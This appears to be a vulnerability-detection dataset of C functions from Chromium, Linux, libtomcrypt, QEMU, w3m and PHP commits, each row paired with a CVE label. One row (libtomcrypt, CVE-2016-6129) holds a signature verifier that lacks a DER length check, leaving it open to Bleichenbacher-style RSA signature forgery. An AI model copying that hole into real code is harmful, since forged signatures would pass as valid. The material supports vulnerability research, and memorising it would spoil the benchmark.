https://github.com/chromium/chromium/commit/baef1ffd73db183ca50c854e1779ed7f6e5100a8
baef1ffd73db183ca50c854e1779ed7f6e5100a8
Revert 144993 - gdata: Remove invalid files in the cache directories Broke linux_chromeos_valgrind: http://build.chromium.org/p/chromium.memory.fyi/builders/Chromium%20OS%20%28valgrind%29%285%29/builds/8628/steps/memory%20test%3A%20unit/logs/stdio In theory, we shouldn't have any invalid files left in the cache directories, but things can go wrong and invalid files may be left if the device shuts down unexpectedly, for instance. Besides, it's good to be defensive. BUG=134862 TEST=added unit tests Review URL: https://chromiumcodereview.appspot.com/10693020 [email protected] git-svn-id: svn://svn.chromium.org/chrome/trunk/src@145029 0039d316-1c4b-4281-b951-d872f2087c98
void GDataCache::SetMountedState(const FilePath& file_path, bool to_mount, base::PlatformFileError *error, FilePath* cache_file_path) { AssertOnSequencedWorkerPool(); DCHECK(error); DCHECK(cache_file_path); std::string resource_id; std::string md5; std::string extra_extension; util::ParseCacheFilePath(file_path, &resource_id, &md5, &extra_extension); DCHECK(!to_mount == (extra_extension == util::kMountedArchiveFileExtension)); scoped_ptr<CacheEntry> cache_entry = GetCacheEntry( resource_id, md5); if (!cache_entry.get()) { *error = base::PLATFORM_FILE_ERROR_NOT_FOUND; return; } if (to_mount == cache_entry->IsMounted()) { *error = base::PLATFORM_FILE_ERROR_INVALID_OPERATION; return; } CacheSubDirectoryType unmounted_subdir = cache_entry->IsPinned() ? CACHE_TYPE_PERSISTENT : CACHE_TYPE_TMP; FilePath unmounted_path = GetCacheFilePath( resource_id, md5, unmounted_subdir, CACHED_FILE_FROM_SERVER); CacheSubDirectoryType mounted_subdir = CACHE_TYPE_PERSISTENT; FilePath mounted_path = GetCacheFilePath( resource_id, md5, mounted_subdir, CACHED_FILE_MOUNTED); FilePath source_path; CacheSubDirectoryType dest_subdir; int cache_state = cache_entry->cache_state; if (to_mount) { source_path = unmounted_path; *cache_file_path = mounted_path; dest_subdir = mounted_subdir; cache_state = SetCacheMounted(cache_state); } else { source_path = mounted_path; *cache_file_path = unmounted_path; dest_subdir = unmounted_subdir; cache_state = ClearCacheMounted(cache_state); } *error = ModifyCacheState(source_path, *cache_file_path, FILE_OPERATION_MOVE, FilePath(), false); if (*error == base::PLATFORM_FILE_OK) { metadata_->UpdateCache(resource_id, md5, dest_subdir, cache_state); } }
void GDataCache::SetMountedState(const FilePath& file_path, bool to_mount, base::PlatformFileError *error, FilePath* cache_file_path) { AssertOnSequencedWorkerPool(); DCHECK(error); DCHECK(cache_file_path); std::string resource_id; std::string md5; std::string extra_extension; util::ParseCacheFilePath(file_path, &resource_id, &md5, &extra_extension); DCHECK(!to_mount == (extra_extension == util::kMountedArchiveFileExtension)); scoped_ptr<CacheEntry> cache_entry = GetCacheEntry( resource_id, md5); if (!cache_entry.get()) { *error = base::PLATFORM_FILE_ERROR_NOT_FOUND; return; } if (to_mount == cache_entry->IsMounted()) { *error = base::PLATFORM_FILE_ERROR_INVALID_OPERATION; return; } CacheSubDirectoryType unmounted_subdir = cache_entry->IsPinned() ? CACHE_TYPE_PERSISTENT : CACHE_TYPE_TMP; FilePath unmounted_path = GetCacheFilePath( resource_id, md5, unmounted_subdir, CACHED_FILE_FROM_SERVER); CacheSubDirectoryType mounted_subdir = CACHE_TYPE_PERSISTENT; FilePath mounted_path = GetCacheFilePath( resource_id, md5, mounted_subdir, CACHED_FILE_MOUNTED); FilePath source_path; CacheSubDirectoryType dest_subdir; int cache_state = cache_entry->cache_state; if (to_mount) { source_path = unmounted_path; *cache_file_path = mounted_path; dest_subdir = mounted_subdir; cache_state = SetCacheMounted(cache_state); } else { source_path = mounted_path; *cache_file_path = unmounted_path; dest_subdir = unmounted_subdir; cache_state = ClearCacheMounted(cache_state); } *error = ModifyCacheState(source_path, *cache_file_path, FILE_OPERATION_MOVE, FilePath(), false); if (*error == base::PLATFORM_FILE_OK) { metadata_->UpdateCache(resource_id, md5, dest_subdir, cache_state); } }
C
Chrome
0
CVE-2010-4648
https://www.cvedetails.com/cve/CVE-2010-4648/
null
https://github.com/torvalds/linux/commit/0a54917c3fc295cb61f3fb52373c173fd3b69f48
0a54917c3fc295cb61f3fb52373c173fd3b69f48
orinoco: fix TKIP countermeasure behaviour Enable the port when disabling countermeasures, and disable it on enabling countermeasures. This bug causes the response of the system to certain attacks to be ineffective. It also prevents wpa_supplicant from getting scan results, as wpa_supplicant disables countermeasures on startup - preventing the hardware from scanning. wpa_supplicant works with ap_mode=2 despite this bug because the commit handler re-enables the port. The log tends to look like: State: DISCONNECTED -> SCANNING Starting AP scan for wildcard SSID Scan requested (ret=0) - scan timeout 5 seconds EAPOL: disable timer tick EAPOL: Supplicant port status: Unauthorized Scan timeout - try to get results Failed to get scan results Failed to get scan results - try scanning again Setting scan request: 1 sec 0 usec Starting AP scan for wildcard SSID Scan requested (ret=-1) - scan timeout 5 seconds Failed to initiate AP scan. Reported by: Giacomo Comes <[email protected]> Signed-off by: David Kilroy <[email protected]> Cc: [email protected] Signed-off-by: John W. Linville <[email protected]>
static int orinoco_ioctl_getport3(struct net_device *dev, struct iw_request_info *info, void *wrqu, char *extra) { struct orinoco_private *priv = ndev_priv(dev); int *val = (int *) extra; *val = priv->prefer_port3; return 0; }
static int orinoco_ioctl_getport3(struct net_device *dev, struct iw_request_info *info, void *wrqu, char *extra) { struct orinoco_private *priv = ndev_priv(dev); int *val = (int *) extra; *val = priv->prefer_port3; return 0; }
C
linux
0
null
null
null
https://github.com/chromium/chromium/commit/d4cd2b2c0953ad7e9fa988c234eb9361be80fe81
d4cd2b2c0953ad7e9fa988c234eb9361be80fe81
DevTools: 'Overrides' UI overlay obstructs page and element inspector BUG=302862 [email protected] Review URL: https://codereview.chromium.org/40233006 git-svn-id: svn://svn.chromium.org/blink/trunk@160559 bbb929c8-8fbe-4397-9dbb-9b2b20218538
static Vector<Resource*> cachedResourcesForFrame(Frame* frame) { Vector<Resource*> result; const ResourceFetcher::DocumentResourceMap& allResources = frame->document()->fetcher()->allResources(); ResourceFetcher::DocumentResourceMap::const_iterator end = allResources.end(); for (ResourceFetcher::DocumentResourceMap::const_iterator it = allResources.begin(); it != end; ++it) { Resource* cachedResource = it->value.get(); switch (cachedResource->type()) { case Resource::Image: if (static_cast<ImageResource*>(cachedResource)->stillNeedsLoad()) continue; break; case Resource::Font: if (static_cast<FontResource*>(cachedResource)->stillNeedsLoad()) continue; break; default: break; } result.append(cachedResource); } return result; }
static Vector<Resource*> cachedResourcesForFrame(Frame* frame) { Vector<Resource*> result; const ResourceFetcher::DocumentResourceMap& allResources = frame->document()->fetcher()->allResources(); ResourceFetcher::DocumentResourceMap::const_iterator end = allResources.end(); for (ResourceFetcher::DocumentResourceMap::const_iterator it = allResources.begin(); it != end; ++it) { Resource* cachedResource = it->value.get(); switch (cachedResource->type()) { case Resource::Image: if (static_cast<ImageResource*>(cachedResource)->stillNeedsLoad()) continue; break; case Resource::Font: if (static_cast<FontResource*>(cachedResource)->stillNeedsLoad()) continue; break; default: break; } result.append(cachedResource); } return result; }
C
Chrome
0
CVE-2016-6129
https://www.cvedetails.com/cve/CVE-2016-6129/
CWE-20
https://github.com/libtom/libtomcrypt/commit/5eb9743410ce4657e9d54fef26a2ee31a1b5dd0
5eb9743410ce4657e9d54fef26a2ee31a1b5dd0
rsa_verify_hash: fix possible bleichenbacher signature attack
int rsa_verify_hash_ex(const unsigned char *sig, unsigned long siglen, const unsigned char *hash, unsigned long hashlen, int padding, int hash_idx, unsigned long saltlen, int *stat, rsa_key *key) { unsigned long modulus_bitlen, modulus_bytelen, x; int err; unsigned char *tmpbuf; LTC_ARGCHK(hash != NULL); LTC_ARGCHK(sig != NULL); LTC_ARGCHK(stat != NULL); LTC_ARGCHK(key != NULL); /* default to invalid */ *stat = 0; /* valid padding? */ if ((padding != LTC_PKCS_1_V1_5) && (padding != LTC_PKCS_1_PSS)) { return CRYPT_PK_INVALID_PADDING; } if (padding == LTC_PKCS_1_PSS) { /* valid hash ? */ if ((err = hash_is_valid(hash_idx)) != CRYPT_OK) { return err; } } /* get modulus len in bits */ modulus_bitlen = mp_count_bits( (key->N)); /* outlen must be at least the size of the modulus */ modulus_bytelen = mp_unsigned_bin_size( (key->N)); if (modulus_bytelen != siglen) { return CRYPT_INVALID_PACKET; } /* allocate temp buffer for decoded sig */ tmpbuf = XMALLOC(siglen); if (tmpbuf == NULL) { return CRYPT_MEM; } /* RSA decode it */ x = siglen; if ((err = ltc_mp.rsa_me(sig, siglen, tmpbuf, &x, PK_PUBLIC, key)) != CRYPT_OK) { XFREE(tmpbuf); return err; } /* make sure the output is the right size */ if (x != siglen) { XFREE(tmpbuf); return CRYPT_INVALID_PACKET; } if (padding == LTC_PKCS_1_PSS) { /* PSS decode and verify it */ if(modulus_bitlen%8 == 1){ err = pkcs_1_pss_decode(hash, hashlen, tmpbuf+1, x-1, saltlen, hash_idx, modulus_bitlen, stat); } else{ err = pkcs_1_pss_decode(hash, hashlen, tmpbuf, x, saltlen, hash_idx, modulus_bitlen, stat); } } else { /* PKCS #1 v1.5 decode it */ unsigned char *out; unsigned long outlen, loid[16], reallen; int decoded; ltc_asn1_list digestinfo[2], siginfo[2]; /* not all hashes have OIDs... so sad */ if (hash_descriptor[hash_idx].OIDlen == 0) { err = CRYPT_INVALID_ARG; goto bail_2; } /* allocate temp buffer for decoded hash */ outlen = ((modulus_bitlen >> 3) + (modulus_bitlen & 7 ? 1 : 0)) - 3; out = XMALLOC(outlen); if (out == NULL) { err = CRYPT_MEM; goto bail_2; } if ((err = pkcs_1_v1_5_decode(tmpbuf, x, LTC_PKCS_1_EMSA, modulus_bitlen, out, &outlen, &decoded)) != CRYPT_OK) { XFREE(out); goto bail_2; } /* now we must decode out[0...outlen-1] using ASN.1, test the OID and then test the hash */ /* construct the SEQUENCE SEQUENCE { SEQUENCE {hashoid OID blah NULL } hash OCTET STRING } */ LTC_SET_ASN1(digestinfo, 0, LTC_ASN1_OBJECT_IDENTIFIER, loid, sizeof(loid)/sizeof(loid[0])); LTC_SET_ASN1(digestinfo, 1, LTC_ASN1_NULL, NULL, 0); LTC_SET_ASN1(siginfo, 0, LTC_ASN1_SEQUENCE, digestinfo, 2); LTC_SET_ASN1(siginfo, 1, LTC_ASN1_OCTET_STRING, tmpbuf, siglen); if ((err = der_decode_sequence(out, outlen, siginfo, 2)) != CRYPT_OK) { XFREE(out); goto bail_2; } if ((err = der_length_sequence(siginfo, 2, &reallen)) != CRYPT_OK) { XFREE(out); goto bail_2; } /* test OID */ if ((reallen == outlen) && (digestinfo[0].size == hash_descriptor[hash_idx].OIDlen) && (XMEMCMP(digestinfo[0].data, hash_descriptor[hash_idx].OID, sizeof(unsigned long) * hash_descriptor[hash_idx].OIDlen) == 0) && (siginfo[1].size == hashlen) && (XMEMCMP(siginfo[1].data, hash, hashlen) == 0)) { *stat = 1; } #ifdef LTC_CLEAN_STACK zeromem(out, outlen); #endif XFREE(out); } bail_2: #ifdef LTC_CLEAN_STACK zeromem(tmpbuf, siglen); #endif XFREE(tmpbuf); return err; }
int rsa_verify_hash_ex(const unsigned char *sig, unsigned long siglen, const unsigned char *hash, unsigned long hashlen, int padding, int hash_idx, unsigned long saltlen, int *stat, rsa_key *key) { unsigned long modulus_bitlen, modulus_bytelen, x; int err; unsigned char *tmpbuf; LTC_ARGCHK(hash != NULL); LTC_ARGCHK(sig != NULL); LTC_ARGCHK(stat != NULL); LTC_ARGCHK(key != NULL); /* default to invalid */ *stat = 0; /* valid padding? */ if ((padding != LTC_PKCS_1_V1_5) && (padding != LTC_PKCS_1_PSS)) { return CRYPT_PK_INVALID_PADDING; } if (padding == LTC_PKCS_1_PSS) { /* valid hash ? */ if ((err = hash_is_valid(hash_idx)) != CRYPT_OK) { return err; } } /* get modulus len in bits */ modulus_bitlen = mp_count_bits( (key->N)); /* outlen must be at least the size of the modulus */ modulus_bytelen = mp_unsigned_bin_size( (key->N)); if (modulus_bytelen != siglen) { return CRYPT_INVALID_PACKET; } /* allocate temp buffer for decoded sig */ tmpbuf = XMALLOC(siglen); if (tmpbuf == NULL) { return CRYPT_MEM; } /* RSA decode it */ x = siglen; if ((err = ltc_mp.rsa_me(sig, siglen, tmpbuf, &x, PK_PUBLIC, key)) != CRYPT_OK) { XFREE(tmpbuf); return err; } /* make sure the output is the right size */ if (x != siglen) { XFREE(tmpbuf); return CRYPT_INVALID_PACKET; } if (padding == LTC_PKCS_1_PSS) { /* PSS decode and verify it */ if(modulus_bitlen%8 == 1){ err = pkcs_1_pss_decode(hash, hashlen, tmpbuf+1, x-1, saltlen, hash_idx, modulus_bitlen, stat); } else{ err = pkcs_1_pss_decode(hash, hashlen, tmpbuf, x, saltlen, hash_idx, modulus_bitlen, stat); } } else { /* PKCS #1 v1.5 decode it */ unsigned char *out; unsigned long outlen, loid[16]; int decoded; ltc_asn1_list digestinfo[2], siginfo[2]; /* not all hashes have OIDs... so sad */ if (hash_descriptor[hash_idx].OIDlen == 0) { err = CRYPT_INVALID_ARG; goto bail_2; } /* allocate temp buffer for decoded hash */ outlen = ((modulus_bitlen >> 3) + (modulus_bitlen & 7 ? 1 : 0)) - 3; out = XMALLOC(outlen); if (out == NULL) { err = CRYPT_MEM; goto bail_2; } if ((err = pkcs_1_v1_5_decode(tmpbuf, x, LTC_PKCS_1_EMSA, modulus_bitlen, out, &outlen, &decoded)) != CRYPT_OK) { XFREE(out); goto bail_2; } /* now we must decode out[0...outlen-1] using ASN.1, test the OID and then test the hash */ /* construct the SEQUENCE SEQUENCE { SEQUENCE {hashoid OID blah NULL } hash OCTET STRING } */ LTC_SET_ASN1(digestinfo, 0, LTC_ASN1_OBJECT_IDENTIFIER, loid, sizeof(loid)/sizeof(loid[0])); LTC_SET_ASN1(digestinfo, 1, LTC_ASN1_NULL, NULL, 0); LTC_SET_ASN1(siginfo, 0, LTC_ASN1_SEQUENCE, digestinfo, 2); LTC_SET_ASN1(siginfo, 1, LTC_ASN1_OCTET_STRING, tmpbuf, siglen); if ((err = der_decode_sequence(out, outlen, siginfo, 2)) != CRYPT_OK) { XFREE(out); goto bail_2; } /* test OID */ if ((digestinfo[0].size == hash_descriptor[hash_idx].OIDlen) && (XMEMCMP(digestinfo[0].data, hash_descriptor[hash_idx].OID, sizeof(unsigned long) * hash_descriptor[hash_idx].OIDlen) == 0) && (siginfo[1].size == hashlen) && (XMEMCMP(siginfo[1].data, hash, hashlen) == 0)) { *stat = 1; } #ifdef LTC_CLEAN_STACK zeromem(out, outlen); #endif XFREE(out); } bail_2: #ifdef LTC_CLEAN_STACK zeromem(tmpbuf, siglen); #endif XFREE(tmpbuf); return err; }
C
libtomcrypt
1
CVE-2014-7840
https://www.cvedetails.com/cve/CVE-2014-7840/
CWE-20
https://git.qemu.org/?p=qemu.git;a=commit;h=0be839a2701369f669532ea5884c15bead1c6e08
0be839a2701369f669532ea5884c15bead1c6e08
null
static uint64_t ram_save_pending(QEMUFile *f, void *opaque, uint64_t max_size) { uint64_t remaining_size; remaining_size = ram_save_remaining() * TARGET_PAGE_SIZE; if (remaining_size < max_size) { qemu_mutex_lock_iothread(); migration_bitmap_sync(); qemu_mutex_unlock_iothread(); remaining_size = ram_save_remaining() * TARGET_PAGE_SIZE; } return remaining_size; }
static uint64_t ram_save_pending(QEMUFile *f, void *opaque, uint64_t max_size) { uint64_t remaining_size; remaining_size = ram_save_remaining() * TARGET_PAGE_SIZE; if (remaining_size < max_size) { qemu_mutex_lock_iothread(); migration_bitmap_sync(); qemu_mutex_unlock_iothread(); remaining_size = ram_save_remaining() * TARGET_PAGE_SIZE; } return remaining_size; }
C
qemu
0
CVE-2018-6198
https://www.cvedetails.com/cve/CVE-2018-6198/
CWE-59
https://github.com/tats/w3m/commit/18dcbadf2771cdb0c18509b14e4e73505b242753
18dcbadf2771cdb0c18509b14e4e73505b242753
Make temporary directory safely when ~/.w3m is unwritable
DEFUN(execsh, EXEC_SHELL SHELL, "Execute shell command and display output") { char *cmd; CurrentKeyData = NULL; /* not allowed in w3m-control: */ cmd = searchKeyData(); if (cmd == NULL || *cmd == '\0') { cmd = inputLineHist("(exec shell)!", "", IN_COMMAND, ShellHist); } if (cmd != NULL) cmd = conv_to_system(cmd); if (cmd != NULL && *cmd != '\0') { fmTerm(); printf("\n"); system(cmd); /* FIXME: gettextize? */ printf("\n[Hit any key]"); fflush(stdout); fmInit(); getch(); } displayBuffer(Currentbuf, B_FORCE_REDRAW); }
DEFUN(execsh, EXEC_SHELL SHELL, "Execute shell command and display output") { char *cmd; CurrentKeyData = NULL; /* not allowed in w3m-control: */ cmd = searchKeyData(); if (cmd == NULL || *cmd == '\0') { cmd = inputLineHist("(exec shell)!", "", IN_COMMAND, ShellHist); } if (cmd != NULL) cmd = conv_to_system(cmd); if (cmd != NULL && *cmd != '\0') { fmTerm(); printf("\n"); system(cmd); /* FIXME: gettextize? */ printf("\n[Hit any key]"); fflush(stdout); fmInit(); getch(); } displayBuffer(Currentbuf, B_FORCE_REDRAW); }
C
w3m
0
CVE-2017-11147
https://www.cvedetails.com/cve/CVE-2017-11147/
CWE-125
https://git.php.net/?p=php-src.git;a=commit;h=e5246580a85f031e1a3b8064edbaa55c1643a451
e5246580a85f031e1a3b8064edbaa55c1643a451
null
static int phar_check_str(const char *fname, const char *ext_str, int ext_len, int executable, int for_create TSRMLS_DC) /* {{{ */ { char test[51]; const char *pos; if (ext_len >= 50) { return FAILURE; } if (executable == 1) { /* copy "." as well */ memcpy(test, ext_str - 1, ext_len + 1); test[ext_len + 1] = '\0'; /* executable phars must contain ".phar" as a valid extension (phar://.pharmy/oops is invalid) */ /* (phar://hi/there/.phar/oops is also invalid) */ pos = strstr(test, ".phar"); if (pos && (*(pos - 1) != '/') && (pos += 5) && (*pos == '\0' || *pos == '/' || *pos == '.')) { return phar_analyze_path(fname, ext_str, ext_len, for_create TSRMLS_CC); } else { return FAILURE; } } /* data phars need only contain a single non-"." to be valid */ if (!executable) { pos = strstr(ext_str, ".phar"); if (!(pos && (*(pos - 1) != '/') && (pos += 5) && (*pos == '\0' || *pos == '/' || *pos == '.')) && *(ext_str + 1) != '.' && *(ext_str + 1) != '/' && *(ext_str + 1) != '\0') { return phar_analyze_path(fname, ext_str, ext_len, for_create TSRMLS_CC); } } else { if (*(ext_str + 1) != '.' && *(ext_str + 1) != '/' && *(ext_str + 1) != '\0') { return phar_analyze_path(fname, ext_str, ext_len, for_create TSRMLS_CC); } } return FAILURE; } /* }}} */
static int phar_check_str(const char *fname, const char *ext_str, int ext_len, int executable, int for_create TSRMLS_DC) /* {{{ */ { char test[51]; const char *pos; if (ext_len >= 50) { return FAILURE; } if (executable == 1) { /* copy "." as well */ memcpy(test, ext_str - 1, ext_len + 1); test[ext_len + 1] = '\0'; /* executable phars must contain ".phar" as a valid extension (phar://.pharmy/oops is invalid) */ /* (phar://hi/there/.phar/oops is also invalid) */ pos = strstr(test, ".phar"); if (pos && (*(pos - 1) != '/') && (pos += 5) && (*pos == '\0' || *pos == '/' || *pos == '.')) { return phar_analyze_path(fname, ext_str, ext_len, for_create TSRMLS_CC); } else { return FAILURE; } } /* data phars need only contain a single non-"." to be valid */ if (!executable) { pos = strstr(ext_str, ".phar"); if (!(pos && (*(pos - 1) != '/') && (pos += 5) && (*pos == '\0' || *pos == '/' || *pos == '.')) && *(ext_str + 1) != '.' && *(ext_str + 1) != '/' && *(ext_str + 1) != '\0') { return phar_analyze_path(fname, ext_str, ext_len, for_create TSRMLS_CC); } } else { if (*(ext_str + 1) != '.' && *(ext_str + 1) != '/' && *(ext_str + 1) != '\0') { return phar_analyze_path(fname, ext_str, ext_len, for_create TSRMLS_CC); } } return FAILURE; } /* }}} */
C
php
0
CVE-2013-0839
https://www.cvedetails.com/cve/CVE-2013-0839/
CWE-399
https://github.com/chromium/chromium/commit/dd3b6fe574edad231c01c78e4647a74c38dc4178
dd3b6fe574edad231c01c78e4647a74c38dc4178
Remove parent* arg from GDataEntry ctor. * Remove static FromDocumentEntry from GDataEntry, GDataFile, GDataDirectory. Replace with InitFromDocumentEntry. * Move common code from GDataFile::InitFromDocumentEntry and GDataDirectory::InitFromDocumentEntry to GDataEntry::InitFromDocumentEntry. * Add GDataDirectoryService::FromDocumentEntry and use this everywhere. * Make ctors of GDataFile, GDataDirectory private, so these must be created by GDataDirectoryService's CreateGDataFile and CreateGDataDirectory. Make GDataEntry ctor protected. BUG=141494 TEST=unit tests. Review URL: https://chromiumcodereview.appspot.com/10854083 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@151008 0039d316-1c4b-4281-b951-d872f2087c98
void GDataDirectoryService::SaveToDB() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); if (!blocking_task_runner_ || !directory_service_db_.get()) { NOTREACHED(); return; } size_t serialized_size = 0; SerializedMap serialized_resources; for (ResourceMap::const_iterator iter = resource_map_.begin(); iter != resource_map_.end(); ++iter) { GDataEntryProto proto; iter->second->ToProtoFull(&proto); std::string serialized_string; const bool ok = proto.SerializeToString(&serialized_string); DCHECK(ok); if (ok) { serialized_resources.insert( std::make_pair(std::string(kDBKeyResourceIdPrefix) + iter->first, serialized_string)); serialized_size += serialized_string.size(); } } serialized_resources.insert(std::make_pair(kDBKeyVersion, base::IntToString(kProtoVersion))); serialized_resources.insert(std::make_pair(kDBKeyLargestChangestamp, base::IntToString(largest_changestamp_))); set_last_serialized(base::Time::Now()); set_serialized_size(serialized_size); blocking_task_runner_->PostTask( FROM_HERE, base::Bind(&ResourceMetadataDB::Save, base::Unretained(directory_service_db_.get()), serialized_resources)); }
void GDataDirectoryService::SaveToDB() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); if (!blocking_task_runner_ || !directory_service_db_.get()) { NOTREACHED(); return; } size_t serialized_size = 0; SerializedMap serialized_resources; for (ResourceMap::const_iterator iter = resource_map_.begin(); iter != resource_map_.end(); ++iter) { GDataEntryProto proto; iter->second->ToProtoFull(&proto); std::string serialized_string; const bool ok = proto.SerializeToString(&serialized_string); DCHECK(ok); if (ok) { serialized_resources.insert( std::make_pair(std::string(kDBKeyResourceIdPrefix) + iter->first, serialized_string)); serialized_size += serialized_string.size(); } } serialized_resources.insert(std::make_pair(kDBKeyVersion, base::IntToString(kProtoVersion))); serialized_resources.insert(std::make_pair(kDBKeyLargestChangestamp, base::IntToString(largest_changestamp_))); set_last_serialized(base::Time::Now()); set_serialized_size(serialized_size); blocking_task_runner_->PostTask( FROM_HERE, base::Bind(&ResourceMetadataDB::Save, base::Unretained(directory_service_db_.get()), serialized_resources)); }
C
Chrome
0